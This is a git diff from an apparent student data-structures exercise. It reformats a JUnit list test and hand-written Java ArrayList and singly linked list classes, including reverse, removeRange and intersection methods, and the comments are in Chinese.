+++ b/group02/727171008/src/com/github/HarryHook/coding2017/basic/ListTest.java
@@ -10,109 +10,113 @@
 
 public class ListTest {
 
-    protected static List aList;
-
-    @Test
-    public void testFunctional() {
-	aList.add(1);
-	aList.add(2);
-	assertEquals(1, aList.get(0));
-	assertEquals(2, aList.get(1));
-
-	aList.add(3);
-	aList.add(0, 5);
-	aList.add(2, 11);
-	assertEquals(5, aList.get(0));
-	assertEquals(11, aList.get(2));
-
-	aList.add("hi");
-	assertEquals("hi", aList.get(5));
-	assertEquals(6, aList.size());
-
-	aList.remove(1);
-	assertEquals(11, aList.get(1));
-	assertEquals(2, aList.get(2));
-
-	assertEquals(5, aList.size());
-    }
-
-    @Test
-    public void testAdd() {
-	for (int i = 0; i < 100; i++)
-	    aList.add(i);
-	assertEquals(0, aList.get(0));
-	assertEquals(99, aList.get(99));
-	assertEquals(44, aList.get(44));
-    }
-
-    @Test
-    public void testRemove() {
-	aList.add(1);
-	aList.add(2);
-	aList.add(3);
-	int u = (Integer) aList.remove(2);
-	assertEquals(3, u);
-	assertEquals(2, aList.size());
-
-	aList.add(1, 5);
-	u = (Integer) aList.remove(0);
-	assertEquals(1, u);
-	assertEquals(5, aList.get(0));
-	assertEquals(2, aList.get(1));
-	assertEquals(2, aList.size());
-
-	aList.remove(0);
-	aList.remove(0);
-	assertEquals(0, aList.size());
-
-    }
-
-    @Test
-    public void testSize() {
-	for (int i = 0; i < 10; i++)
-	    aList.add(i * 2);
-	assertEquals(10, aList.size());
-    }
-
-    @Rule
-    public ExpectedException expectedEx = ExpectedException.none();
-
-    @Test
-    public void testException() {
-	expectedEx.expect(Exception.class);
-	aList.remove(1);
-	aList.add(3);
-	aList.add(2, 5);
-	expectedEx.expect(Exception.class);
-    }
-
-    @Test
-
-    public void testIterator() {
-	Iterator it = aList.iterator();
-	assertEquals(false, it.hasNext());
-
-	aList.add(1);
-	aList.add(2);
-	aList.add(3);
-
-	it = aList.iterator();
-	assertEquals(true, it.hasNext());
-	assertEquals(1, it.next());
-	assertEquals(2, it.next());
-	assertEquals(3, it.next());
-	assertEquals(false, it.hasNext());
-
-	aList.remove(1);
-	it = aList.iterator();
-	assertEquals(true, it.hasNext());
-	assertEquals(1, it.next());
-	assertEquals(3, it.next());
-	assertEquals(false, it.hasNext());
-
-	expectedEx.expect(Exception.class);
-	it.next();
-
-    }
+	protected static List aList;
+
+	@Test
+	public void testFunctional() {
+		aList.add(1);
+		aList.add(2);
+		assertEquals(1, aList.get(0));
+		assertEquals(2, aList.get(1));
+		
+		aList.add(3);
+		aList.add(0, 5);
+		aList.add(2, 11);
+		assertEquals(5, aList.get(0));
+		assertEquals(11, aList.get(2));
+		
+		aList.add("hi");
+		assertEquals("hi", aList.get(5));
+		assertEquals(6, aList.size());
+		
+		aList.remove(1);
+		assertEquals(11, aList.get(1));
+		assertEquals(2, aList.get(2));
+		
+		assertEquals(5, aList.size());
+	}
+	
+	@Test
+	public void testAdd() {
+		for (int i=0; i<100; i++)
+			aList.add(i);
+		assertEquals(0, aList.get(0));
+		assertEquals(99, aList.get(99));
+		assertEquals(44, aList.get(44));
+	}
+	
+	@Test
+	public void testRemove() {
+		aList.add(1);
+		aList.add(2);
+		aList.add(3);
+		int u = (Integer)aList.remove(2);
+		assertEquals(3, u);
+		assertEquals(2, aList.size());
+		
+		aList.add(1, 5);
+		u = (Integer)aList.remove(0);
+		assertEquals(1, u);
+		assertEquals(5, aList.get(0));
+		assertEquals(2, aList.get(1));
+		assertEquals(2, aList.size());
+		
+		aList.remove(0);
+		aList.remove(0);
+		assertEquals(0, aList.size());
+		
+
+	}
+	
+	@Test
+	public void testSize() {
+		for (int i=0; i<10; i++)
+			aList.add(i*2);
+		assertEquals(10, aList.size());
+	}
+	
+	@Rule  
+	public ExpectedException expectedEx = ExpectedException.none(); 
+	
+	@Test
+	public void testException() {
+		expectedEx.expect(Exception.class);
+		aList.remove(1);
+		aList.add(3);
+		aList.add(2, 5);
+		expectedEx.expect(Exception.class);
+	}
+	
+	@Test
+	 
+	public void testIterator() 
+	{
+		Iterator it = aList.iterator();
+		assertEquals(false, it.hasNext());
+		
+		aList.add(1);
+		aList.add(2);
+		aList.add(3);
+		
+		it = aList.iterator();
+		assertEquals(true, it.hasNext());
+		assertEquals(1, it.next());
+		assertEquals(2, it.next());
+		assertEquals(3, it.next());
+		assertEquals(false, it.hasNext());
+		
+		aList.remove(1);
+		it = aList.iterator();
+		assertEquals(true, it.hasNext());
+		assertEquals(1, it.next());
+		assertEquals(3, it.next());
+		assertEquals(false, it.hasNext());	
+		
+		expectedEx.expect(Exception.class);
+		it.next();
+		
+	}
+	
+	
 
 }
diff --git a/group02/727171008/src/com/github/HarryHook/coding2017/basic/MyArrayList.java b/group02/727171008/src/com/github/HarryHook/coding2017/basic/MyArrayList.java
index e8cc041978..dbfd8aae19 100644
--- a/group02/727171008/src/com/github/HarryHook/coding2017/basic/MyArrayList.java
+++ b/group02/727171008/src/com/github/HarryHook/coding2017/basic/MyArrayList.java
@@ -7,136 +7,161 @@
 import java.util.Arrays;
 import java.util.NoSuchElementException;
 
-public class MyArrayList implements List {
-    private int size = 0; // 数组元素个数
-
-    private Object[] elementData = new Object[10]; // 初始化数组大小为10
-
-    // 将元素添加到数组尾部
-    public void add(Object o) { // 需要判断数组空间是否够用
-	ensureCapacity(size + 1);
-	elementData[size++] = o;
-    }
-
-    // 在指定位置添加元素
-    public void add(int index, Object o) {
-	// 判断下标记是否越界
-	if (index > size || index < 0)
-	    throw new IndexOutOfBoundsException("Index: " + index + ", Size: " + size);
-	ensureCapacity(size + 1);
-	// 判断当前位置是否有元素，没有元素添加到当前位置；若有，当前元素及之后元素向右移
-	if (elementData[index] == null) {
-	    elementData[index] = o;
-	} else {
-	    for (int i = elementData.length - 1; i > index; i--) {
-		elementData[i] = elementData[i - 1];
-	    }
-	    elementData[index] = o;
+public class MyArrayList implements List 
+{	
+	private int size = 0;    //数组元素个数
+	
+	private Object[] elementData = new Object[10];  //初始化数组大小为10
+			
+	//将元素添加到数组尾部
+	public void add(Object o)
+	{   //需要判断数组空间是否够用
+		ensureCapacity(size + 1);
+		elementData[size++] = o;
 	}
-	size++;
-
-	/*
-	 * //判断索引位置是否正确 if (index > size || index < 0) throw new
-	 * IndexOutOfBoundsException( "Index: " + index + ", Size: " + size);
-	 * //扩容检测 ensureCapacity(size+1); /* 对源数组进行复制处理（位移），从index +
-	 * 1到size-index。 主要目的就是空出index位置供数据插入， 即向右移动当前位于该位置的元素以及所有后续元素。
-	 * 
-	 * System.arraycopy(elementData, index, elementData, index + 1, size -
-	 * index); //在指定位置赋值 elementData[index] = 0; size++;
-	 * 
-	 */
-    }
-
-    public Object get(int index) {
-	// 若index超出size应该抛出异常
-	if (index >= size)
-	    throw new IndexOutOfBoundsException("Index: " + index + ", Size: " + size);
-	return elementData[index];
-
-    }
-
-    public Object remove(int index) { // 涉及到元素移位
-	Object oldValue = elementData[index];
-	for (int i = index; i < elementData.length - 1; i++)
-	    elementData[i] = elementData[i + 1];
-	elementData[--size] = null;
-
-	return oldValue;
-    }
-
-    // 判断是否需要给数组扩容
-    public void ensureCapacity(int minCapacity) {
-
-	int oldCapacity = elementData.length;
-	if (minCapacity > oldCapacity) {
-	    // Object oldData[] = elementData;
-	    // //防止copyof()执行的过程中新内存或者其他进程分配内存时占用旧内存
-	    int newCapacity = (oldCapacity * 3) / 2 + 1; // 增加50%+1
-	    if (newCapacity < minCapacity)
-		newCapacity = minCapacity;
-	    // minCapacity is usually close to size, so this is a win:
-	    elementData = Arrays.copyOf(elementData, newCapacity);
+	//在指定位置添加元素
+	public void add(int index, Object o)
+	{
+		//判断下标记是否越界		
+		if (index > size || index < 0)
+            throw new IndexOutOfBoundsException(
+            "Index: " + index + ", Size: " + size);
+		ensureCapacity(size + 1);
+		//判断当前位置是否有元素，没有元素添加到当前位置；若有，当前元素及之后元素向右移
+		if(elementData[index] == null)
+		{
+			elementData[index] = o;
+		}
+		else
+		{
+			for(int i=elementData.length-1; i>index; i--)  
+			{
+				elementData[i] = elementData[i-1];
+			} 
+			elementData[index] = o;
+		}  		
+		size++;
+		
+		/*
+		   //判断索引位置是否正确
+        if (index > size || index < 0)
+            throw new IndexOutOfBoundsException(
+            "Index: " + index + ", Size: " + size);
+        //扩容检测
+        ensureCapacity(size+1);  
+        /*
+         * 对源数组进行复制处理（位移），从index + 1到size-index。
+         * 主要目的就是空出index位置供数据插入，
+         * 即向右移动当前位于该位置的元素以及所有后续元素。 
+         
+        System.arraycopy(elementData, index, elementData, index + 1,
+                 size - index);
+        //在指定位置赋值
+        elementData[index] = 0;
+        size++;
+        
+        */
 	}
-    }
-
-    // 返回数组的大小
-    public int size() {
-	return size;
-    }
-
-    public Iterator iterator() {
-	return new MyArrayListIterator();
-    }
-
-    private class MyArrayListIterator implements Iterator {
-	private int cursor = 0; // 记录索引位置
-
-	public boolean hasNext() {
-	    return cursor != size;
+	
+	public Object get(int index)
+	{	
+		//若index超出size应该抛出异常
+		if(index >= size)
+			 throw new IndexOutOfBoundsException( "Index: " + index + ", Size: " + size);
+		return  elementData[index];
+		
 	}
-
-	public Object next() {
-	    try {
-		Object next = get(cursor);
-		cursor++;
-		return next;
-
-	    } catch (IndexOutOfBoundsException e) {
-		throw new NoSuchElementException();
-	    }
-
+	
+	public Object remove(int index)
+	{	//涉及到元素移位
+		Object oldValue = elementData[index];
+		for(int i=index; i<elementData.length-1; i++)
+			elementData[i] = elementData[i+1];		
+		elementData[--size] = null;
+		
+		return oldValue;
 	}
-    }
-
-    public static void main(String[] args) {
-	MyArrayList myArrays = new MyArrayList();
-	myArrays.add(3);
-	myArrays.add(0, 11);
-	myArrays.add(1, 2);
-	myArrays.add(3, 5);
-	myArrays.add(2, 1);
-	myArrays.add(7);
-	Print(myArrays);
-
-	for (int i = 0; i < 19; i++)
-	    myArrays.add(i, 55);
-
-	System.out.println("获取指定位置元素： " + myArrays.get(2));
-	System.out.println("删除指定位置元素： " + myArrays.remove(1));
-	System.out.println("当前元素个数：" + myArrays.size());
-
-	Print(myArrays);
-
-    }
-
-    public static void Print(MyArrayList myArrays) {
-	Iterator it = myArrays.iterator();
-	System.out.println("对链表中的元素进行打印：");
-	while (it.hasNext())
-	    System.out.print(it.next() + " ");
-	System.out.println("");
-	System.out.println("当前元素个数： " + myArrays.size());
-
-    }
+	
+	//判断是否需要给数组扩容
+	public void ensureCapacity(int minCapacity)
+	{  
+	    
+	    int oldCapacity = elementData.length;  
+	    if (minCapacity > oldCapacity) 
+	    {  
+	        //Object oldData[] = elementData;   //防止copyof()执行的过程中新内存或者其他进程分配内存时占用旧内存
+	        int newCapacity = (oldCapacity * 3)/2 + 1;  //增加50%+1
+	            if (newCapacity < minCapacity)  
+	                newCapacity = minCapacity;  
+	      // minCapacity is usually close to size, so this is a win:  
+	        elementData = Arrays.copyOf(elementData, newCapacity);  
+	    }  
+	 }
+	
+	//返回数组的大小
+	public int size()
+	{
+		return size;
+	}
+	
+	public Iterator iterator()
+	{
+		return new MyArrayListIterator();
+	}
+	
+	private class MyArrayListIterator implements Iterator
+	{
+		private int cursor = 0;      //记录索引位置         
+		public boolean hasNext()
+		{
+			return cursor != size;    
+		}
+		public Object next() 
+		{  
+			  try { 
+		                Object next = get(cursor);  
+		                cursor++;
+		                return next;
+
+	            } catch (IndexOutOfBoundsException e)
+			  	{
+	                throw new NoSuchElementException();
+	            }
+		
+		}
+	}
+	
+	public static void main(String[] args)
+	{
+		MyArrayList myArrays = new MyArrayList();
+		myArrays.add(3);
+		myArrays.add(0, 11);
+		myArrays.add(1, 2);
+		myArrays.add(3, 5);
+		myArrays.add(2, 1);
+		myArrays.add(7);
+		Print(myArrays);
+		
+		for(int i = 0; i < 19; i++)
+			myArrays.add(i, 55);
+		
+		System.out.println("获取指定位置元素： " + myArrays.get(2));
+		System.out.println("删除指定位置元素： " + myArrays.remove(1));
+		System.out.println("当前元素个数：" + myArrays.size());
+		
+		Print(myArrays);
+			
+	}
+	public static void Print(MyArrayList myArrays)
+	{
+		Iterator it = myArrays.iterator();	
+		System.out.println("对链表中的元素进行打印：");
+		while(it.hasNext())
+			System.out.print(it.next() + " ");
+		System.out.println("");
+		System.out.println("当前元素个数： " + myArrays.size()); 
 
+	}
+	
 }
+
diff --git a/group02/727171008/src/com/github/HarryHook/coding2017/basic/MyLinkedList.java b/group02/727171008/src/com/github/HarryHook/coding2017/basic/MyLinkedList.java
index e1c3478907..9a668faaf0 100644
--- a/group02/727171008/src/com/github/HarryHook/coding2017/basic/MyLinkedList.java
+++ b/group02/727171008/src/com/github/HarryHook/coding2017/basic/MyLinkedList.java
@@ -5,409 +5,549 @@
 
 package com.github.HarryHook.coding2017.basic;
 
-public class MyLinkedList implements List {
-    private Node head = null; // 头指针
-    private int size = 0;
-
-    private static class Node {
-	Object data;
-	Node next;
-    }
-
-    public void add(Object o) {
-	addLast(o);
-    }
-
-    // 在指定位置添加元素
-    public void add(int index, Object o) {
-
-	if (index > size || index < 0) {
-	    throw new IndexOutOfBoundsException("Index: " + index + ", Size: " + size);
-	}
-
-	// 存在插入头结点的情况
-	if (index == 0) {
-	    addFirst(o);
-	} else { // 即 index != 0 的情况
-		 // p保存待插入节点的前一节点，x指向要插入的节点
-	    Node x = head;
-	    Node p = null;
-	    int i = 0;
-	    while (i < index) {
-		p = x;
-		x = x.next;
-		i++;
-	    }
-	    Node n = new Node();
-	    p.next = n;
-	    n.next = x;
-	    n.data = o;
-	    size++;
-	}
-
-    }
-
-    // 返回指定位置元素
-    public Object get(int index) {
-	if (index >= size) {
-	    throw new IndexOutOfBoundsException("Index: " + index + ", Size: " + size);
-	}
-	Node x = head;
-	int i = 0;
-	while (i < index && x != null) {
-	    x = x.next;
-	    i++;
+public class MyLinkedList implements List 
+{
+	private Node head = null;	//头指针
+	private int size = 0;
+	private static  class Node
+	{
+		Object data;
+		Node next;
 	}
-	return x.data;
-    }
-
-    // 移除指定位置节点
-    public Object remove(int index) {
-	if (index > size || index < 0) {
-	    throw new IndexOutOfBoundsException("Index: " + index + ", Size: " + size);
+	public void add(Object o) 
+	{
+		addLast(o);
 	}
-	// 先判断是否是头节点
-	if (index == 0) {
-	    return removeFirst();
-	} else {
-	    Node x = head;
-	    Node pre = null;
-	    int i = 0;
-	    while (i < index) {
-		pre = x;
-		x = x.next;
-		i++;
-	    }
-	    Object Data = pre.next.data;
-	    pre.next = x.next;
-	    x = null;
-	    size--;
-	    return Data;
+	//在指定位置添加元素
+	public void add(int index , Object o)
+	{
+		
+		if (index > size || index < 0)
+		{
+		    throw new IndexOutOfBoundsException("Index: " + index + ", Size: " + size);	
+		}
+		    
+		//存在插入头结点的情况
+		if(index == 0)
+		{
+		    addFirst(o);
+		}	
+		else
+		{		//即 index != 0 的情况
+				// p保存待插入节点的前一节点，x指向要插入的节点
+				Node x = head; 
+				Node p = null;
+				int i = 0;
+				while(i < index)
+				{
+					p = x;
+					x = x.next;
+					i++;
+				}
+				Node n = new Node();
+				p.next = n;
+				n.next = x;
+				n.data = o;	
+				size++;
+		}
+		
 	}
-
-    }
-
-    // 头部添加节点
-    public void addFirst(Object o) {
-	Node n = new Node();
-	n.next = head;
-	head = n;
-	n.data = o;
-	size++;
-    }
-
-    // 尾部添加节点
-    public void addLast(Object o) {
-	if (head == null) {
-	    head = new Node();
-	    head.data = o;
-	} else {
-	    Node x = head;
-	    while (x.next != null) {
-		x = x.next;
-	    }
-	    Node n = new Node();
-	    x.next = n;
-	    n.next = null;
-	    n.data = o;
+	//返回指定位置元素
+	public Object get(int index)
+	{	
+		if(index >= size)
+		{
+			throw new IndexOutOfBoundsException("Index: " + index + ", Size: " + size);
+		}
+		Node x = head; 
+		int i = 0;
+		while(i < index && x != null)
+		{
+			x = x.next;
+			i++;
+		}
+		return x.data;
 	}
-	size++;
-    }
-
-    // 移除第一个节点
-    public Object removeFirst() {
-	Node n = head;
-	Object Data = n.data;
-	head = head.next;
-	n = null;
-	size--;
-	return Data;
-    }
+	
+	//移除指定位置节点
+	public Object remove(int index)
+	{
+		if (index > size || index < 0)
+		{
+		    throw new IndexOutOfBoundsException("Index: " + index + ", Size: " + size);
+		}
+		//先判断是否是头节点
+		if( index == 0)
+		{			
+			return removeFirst();		
+		}
+		else
+		{
+			Node x = head; 
+			Node pre = null;
+			int i = 0;
+			while(i < index)
+			{ 
+				pre = x;
+				x = x.next; 
+				i++;	
+			}
+			Object Data = pre.next.data;
+			pre.next = x.next;
+			x = null;
+			size--;
+			return Data;				
+		}
 
-    // 移除最后一个节点
-    public Object removeLast() {
-	Node x = head;
-	Node p = null;
-	if (x.next == null) {
-	    return removeFirst();
-	} else {
-	    while (x.next != null) {
-		p = x;
-		x = x.next;
-	    }
-	    Object Data = x.data;
-	    p.next = null;
-	    x = null; // 删除最后一个节点
-	    size--;
-	    return Data;
 	}
-    }
-
-    public int size() {
-	return size;
-    }
-
-    public Iterator iterator() {
-	return new MyLinkedListIterator();
-    }
-
-    private class MyLinkedListIterator implements Iterator {
-	private int cursor = 0; // 记录索引位置
-
-	public boolean hasNext() {
-	    return cursor != size;
+	//头部添加节点
+	public void addFirst(Object o)
+	{
+		Node n = new Node();
+		n.next = head;
+		head = n;
+		n.data = o;
+		size++;
 	}
-
-	public Object next() {
-	    Object next = get(cursor);
-	    cursor++;
-	    return next;
+	//尾部添加节点
+	public void addLast(Object o)
+	{
+		 if (head == null)
+		 {
+			 head = new Node();
+			 head.data = o;
+		 }
+		else
+		{
+	    		Node x = head; 
+			while(x.next != null)		
+			{
+				x = x.next;
+			}
+			Node n = new Node();
+			x.next = n;
+			n.next = null;
+			n.data = o;
+		}
+		size++;
 	}
-    }
-
-    /**
-     * 把该链表逆置 例如链表为 3->7->10 , 逆置后变为 10->7->3
-     */
-    public void reverse() {
-	if (head == null) {
-	    return;
+	//移除第一个节点
+	public Object removeFirst()
+	{
+		Node n = head;
+		Object Data = n.data;
+		head = head.next;
+		n = null;
+		size--;
+		return Data;	
 	}
-	Node p1, p2, p3;
-	p1 = head;
-	p2 = p1.next;
-	while (p2 != null) {
-	    p3 = p2.next;
-	    p2.next = p1;
-	    p1 = p2;
-	    p2 = p3;
+	
+	//移除最后一个节点
+	public Object removeLast()
+	{
+		Node x = head; 
+		Node p = null;
+		if(x.next == null)
+		{
+			return removeFirst();
+		}
+		else
+		{
+			while(x.next != null)
+			{
+				p = x;
+				x = x.next;
+			}
+			Object Data = x.data;
+			p.next = null;
+			x = null;       //删除最后一个节点
+			size--;
+			return Data;	
+		}
 	}
-	head.next = null;
-	head = p1;
-    }
-
-    /**
-     * 删除一个单链表的前半部分 例如：list = 2->5->7->8 , 删除以后的值为 7->8 如果list = 2->5->7->8->10
-     * ,删除以后的值为7,8,10
-     * 
-     */
-    public void removeFirstHalf() {
-	if (size == 0) {
-	    return;
+	public int size()
+	{
+		return size;
 	}
-	Node p = head;
-	Node q = null;
-	int i = size / 2;
-	int j = 0;
-	while (j < i) {
-	    j++;
-	    q = p;
-	    p = p.next;
+	public Iterator iterator()
+	{
+		return new MyLinkedListIterator();
 	}
-	head = p;
-	q.next = null;
-	size = size - i;
-
-    }
-
-    /**
-     * 从第i个元素开始， 删除length 个元素 ， 注意i从0开始
-     * 
-     * @param i
-     * @param length
-     */
-    public void remove(int i, int length) {
-	Node p = head;
-	Node q = null;
-	int index = 0;
-	int j = 0;
-
-	while (index < i) {
-	    q = p;
-	    p = p.next;
-	    index++;
+	private class MyLinkedListIterator implements Iterator
+	{
+		private int cursor = 0;      //记录索引位置         
+		public boolean hasNext()
+		{
+			return cursor != size;    
+		}
+		public Object next() 
+		{  
+			Object next = get(cursor);  
+			cursor ++;  
+			return next;  
+		}
 	}
-
-	while (p != null && j < length) {
-	    p = p.next;
-	    j++;
+	/**
+	 * 把该链表逆置
+	 * 例如链表为 3->7->10 , 逆置后变为  10->7->3
+	 */
+	public void reverse()
+	{		
+		if(head == null)
+		{
+			return ;
+		}
+		Node p1, p2, p3;
+		p1 = head;
+		p2 = p1.next;
+		while(p2 != null)
+		{
+			p3 = p2.next;
+			p2.next = p1;
+			p1 = p2;
+			p2 = p3;
+		}
+		head.next = null;
+		head = p1;
 	}
-	if (i == 0) // 从头开始移除元素
+	
+	/**
+	 * 删除一个单链表的前半部分
+	 * 例如：list = 2->5->7->8 , 删除以后的值为 7->8
+	 * 如果list = 2->5->7->8->10 ,删除以后的值为7,8,10
+		
+	 */
+	public  void removeFirstHalf()
 	{
-	    if (p == null) // 元素全被删光
-	    {
-		head = null;
-		size = 0;
-	    } else // 从头删length个元素
-	    {
+		if(size == 0)
+		{
+		    	return ;
+		}
+		Node p = head;
+		Node q = null;
+		int i = size / 2;
+		int j = 0;
+		while(j < i)
+		{
+			j++;	
+			q = p;
+			p = p.next;
+		}
 		head = p;
-		size = size - length;
-	    }
-	} else // 从中间开始移除元素
-	{
-	    if (p == null) {
 		q.next = null;
-		size = size - j;
-	    } else {
-		q.next = p;
-		size = size - length;
-	    }
-	}
+		size = size - i;
 
-    }
-
-    /**
-     * 假定当前链表和list均包含已升序排列的整数 从当前链表中取出那些list所指定的元素 例如当前链表 =
-     * 11->101->201->301->401->501->601->701 listB = 1->3->4->6
-     * 返回的结果应该是[101,301,401,601]
-     * 
-     * @param list
-     */
-    public int[] getElements(MyLinkedList list) {
-	if (list == null) {
-	    return new int[0];
-	}
-	int i = 0;
-	int[] array = new int[list.size()];
-	while (i < list.size()) {
-	    array[i] = (int) this.get((int) list.get(i));
-	    i++;
-	}
-	return array;
-    }
-
-    /**
-     * 已知链表中的元素以值递增有序排列，并以单链表作存储结构。 从当前链表中中删除在list中出现的元素
-     * 
-     * @param list
-     */
-
-    public void subtract(MyLinkedList list) {
-	int i = 0;
-	if (list == null) {
-	    return;
 	}
-	while (i < list.size()) {
-	    for (int index = 0; index < this.size(); index++) {
-		Node p = head; // 当前节点
-		Node q = null; // 前驱节点
-		while (list.get(i) != p.data && p.next != null) {
-		    q = p;
-		    p = p.next;
-		}
-		if (p.data == list.get(i)) { // 删除找到的节点
+	
+	/**
+	 * 从第i个元素开始， 删除length 个元素 ， 注意i从0开始
+	 * @param i
+	 * @param length
+	 */
+	public  void remove(int i, int length)
+	{
+		Node p = head;
+		Node q = null;
+		int index = 0;
+		int j = 0;
 		
-		    if (p == head) {
-			head = head.next;
-		    } else {
-			q.next = p.next;
-		    }
-		    size--;
-		}
-	    }
-
-	    i++;
+		while(index < i)
+		{
+			q = p;	
+			p = p.next;
+			index ++;
+		}
+		
+		while(p != null && j < length)
+		{
+			p = p.next;
+			j++;
+		}
+		if(i==0)   //从头开始移除元素
+		{
+			if(p == null)	//元素全被删光
+			{
+				head = null;
+				size = 0;
+			}
+			else			//从头删length个元素
+			{
+				head = p;
+				size = size - length;
+			}
+		}
+		else	//从中间开始移除元素
+		{
+			if(p == null)
+			{
+				q.next = null;
+				size = size - j ;
+			}
+			else
+			{
+				q.next = p;
+				size = size - length;
+			}
+		}
+			
 	}
-    }
-
-    /**
-     * 已知当前链表中的元素以值递增有序排列，并以单链表作存储结构。 删除表中所有值相同的多余元素（使得操作后的线性表中所有元素的值均不相同）
-     */
-    public void removeDuplicateValues() {
-	if (head == null) {
-	    return;
+	
+	/**
+	 * 假定当前链表和list均包含已升序排列的整数
+	 * 从当前链表中取出那些list所指定的元素
+	 * 例如当前链表 = 11->101->201->301->401->501->601->701
+	 * listB = 1->3->4->6
+	 * 返回的结果应该是[101,301,401,601]  
+	 * @param list
+	 */
+	public int[] getElements(MyLinkedList list)
+	{
+		if(list == null)
+		{
+			return new int[0];
+		}
+		int i = 0 ;
+		int[] array = new int[list.size()];
+		while(i < list.size())
+		{
+			array[i] = (int) this.get((int)list.get(i));
+			i++;
+		}
+		return array;
 	}
-	Node p = head;
-	Node q = head; // 前驱
-	while (p.next != null) {
-	    p = p.next;
+	
+	/**
+	 * 已知链表中的元素以值递增有序排列，并以单链表作存储结构。
+	 * 从当前链表中中删除在list中出现的元素 
 
-	    while (p.data == q.data) {
-		size--;
-		if (p.next == null) {
-		    q.next = null;
-		    break;
-		}
-		q.next = p.next;
-		p = p.next;
-		if (p == null)
-		    break;
-	    }
-	    q = q.next;
+	 * @param list
+	 */
+	
+	public void subtract(MyLinkedList list)
+	{
+		int i = 0;
+		if(list == null)
+		{
+			return ;
+		}
+		while(i < list.size())
+		{
+			for(int index = 0; index < this.size(); index++)
+			{
+				Node p = head; //当前节点
+				Node q = null; //前驱节点
+				while(list.get(i) != p.data && p.next != null)
+				{
+					q = p;
+					p = p.next;
+				}
+				if(p.data == list.get(i))   //删除找到的节点
+				{
+					if(p == head)
+						head = head.next;
+					else
+					{
+						q.next = p.next;
+					}
+					size--;
+				}
+			}
+			
+			i++;
+		}
 	}
-    }
-
-    /**
-     * 已知链表中的元素以值递增有序排列，并以单链表作存储结构。 试写一高效的算法，删除表中所有值大于min且小于max的元素（若表中存在这样的元素）
-     * 
-     * @param min
-     * @param max
-     */
-    public void removeRange(int min, int max) {
-
-	Node p = head; // 当前节点
-	Node q = head; // 前驱节点
-	while (p.next != null && ((int) p.data <= min || (int) p.data >= max)) { // 未找到继续遍历
-	    q = p;
-	    p = p.next;
+	
+	/**
+	 * 已知当前链表中的元素以值递增有序排列，并以单链表作存储结构。
+	 * 删除表中所有值相同的多余元素（使得操作后的线性表中所有元素的值均不相同）
+	 */
+	public  void removeDuplicateValues()
+	{
+		if(head == null)
+		{
+			return ;
+		}
+		Node p = head;
+		Node q = head; //前驱
+		while(p.next != null)
+		{
+			p = p.next;
+			
+			while(p.data == q.data)
+			{
+				size--;
+				if(p.next == null)
+				{
+					q.next = null;
+					break;
+				}
+				q.next = p.next;
+				p = p.next;
+				if(p == null)
+					break;
+			}
+			q = q.next;
+		}
 	}
-	while ((int) p.data > min && (int) p.data < max) { // 删除找到的节点
-	    p = p.next;
-	    size--;
-
-	    if (size == 0) // 删完所有元素
-		break;
+	
+	/**
+	 * 已知链表中的元素以值递增有序排列，并以单链表作存储结构。
+	 * 试写一高效的算法，删除表中所有值大于min且小于max的元素（若表中存在这样的元素）
+	 * @param min
+	 * @param max
+	 */
+	public  void removeRange(int min, int max)
+	{
+	
+		Node p = head; //当前节点
+		Node q = head; //前驱节点
+		while(p.next != null && ((int)p.data <= min || (int)p.data >= max)) //未找到继续遍历
+		{
+			q = p;
+			p = p.next;
+		}
+		while((int)p.data > min && (int)p.data < max)   //删除找到的节点
+		{	
+			p = p.next;
+			size--;
+			
+			if(size == 0) //删完所有元素
+				break ;
+		}
+		if(q == head) 	//头结点被删掉
+		{
+		    	head = p;
+		}	
+		else			
+		{
+			q.next = p;
+		}
+	
 	}
-	if (q == head) { // 头结点被删掉
 	
-	    head = p;
-	} else {
-	    q.next = p;
+	/**
+	 * 假设当前链表和参数list指定的链表均以元素依值递增有序排列（同一表中的元素值各不相同）
+	 * 现要求生成新链表C，其元素为当前链表和list中元素的交集，且表C中的元素有依值递增有序排列
+	 * @param list
+	 */
+	public  MyLinkedList intersection(MyLinkedList list)
+	{
+		if(list == null || this == null)
+		{
+			return null;
+		}
+		Node p1 = list.head;
+		Node p2 = this.head;
+		MyLinkedList newList = new MyLinkedList();
+		
+		while(p1 != null && p2 != null)
+		{
+			while(((int) p1.data < (int) p2.data) && p1.next != null)
+			{
+				p1 = p1.next;
+			}
+			while(((int) p1.data > (int) p2.data) && p2.next != null)
+			{
+				p2 = p2.next;
+			}
+			if(p1.data == p2.data)
+			{
+				newList.add(p1.data);
+				p1 = p1.next;
+				p2 = p2.next;
+			}
+			
+			if(p1 == null && p2 == null)  //若最后两个元素相等
+			{
+				break;
+			}
+		}
+		return newList;
 	}
+	
+	
+	public static void main(String[] args)
+	{
+		MyLinkedList myList = new MyLinkedList();
+		myList.add(1);
+		myList.add(1);
+		myList.add(3);
+		myList.add(4);
+		myList.add(5);
+		myList.add(5);
+		myList.add(7);
+		myList.add(8);
+		myList.add(8);
+		myList.add(9);
+		Print(myList);
+		/*
+		MyLinkedList list = new MyLinkedList();
+		list.add(0);
+		list.add(3);
+		list.add(5);
+		list.add(6);
+		list.add(9);
+		list.add(19);
+		//Print(list);
+		//myList.removeDuplicateValues();
+		//myList.subtract(list);
+		*/
+		
+		myList.removeRange(-11, 10);
+		Print(myList);
+		/*
+		MyLinkedList list1 = myList.intersection(list);
+		System.out.println("打印交集：");
+		Print(list1);
+		/*	reverse()
+		myList.reverse();
+		Print(myList);
+		*/
+		
+		//System.out.println("从第二个元素开始，移除三个元素");
+		//myList.remove(1, 1);
+		//Print(myList);
+		
+		//  getElements()
+		MyLinkedList list = new MyLinkedList();
+	
+		int[] array = myList.getElements(list);
+		System.out.println("输出："+array[0]);
+		for(int i=0; i<array.length; i++)
+		{
+			System.out.println("输出："+array[i]);
+		}
+		
+		//myList.removeFirstHalf();
+		//System.out.println("移除前一半元素");
+		//Print(myList);
+		
+		
+		
+		/*
+		System.out.println("当前指定位置元素： " + myList.get(1));
+		//System.out.println("移除指定位置元素： " + myList.remove(4));
+		Print(myList);	
+		System.out.println("移除第一个节点元素： " + myList.removeLast());
+		Print(myList);
+		System.out.println("移除最后一个节点元素： " + myList.removeLast());
+		Print(myList);
+		System.out.println("移除最后一个节点元素： " + myList.removeLast());
+		Print(myList);
+		*/
 
-    }
-
-    /**
-     * 假设当前链表和参数list指定的链表均以元素依值递增有序排列（同一表中的元素值各不相同）
-     * 现要求生成新链表C，其元素为当前链表和list中元素的交集，且表C中的元素有依值递增有序排列
-     * 
-     * @param list
-     */
-    public MyLinkedList intersection(MyLinkedList list) {
-	if (list == null || this == null) {
-	    return null;
 	}
-	Node p1 = list.head;
-	Node p2 = this.head;
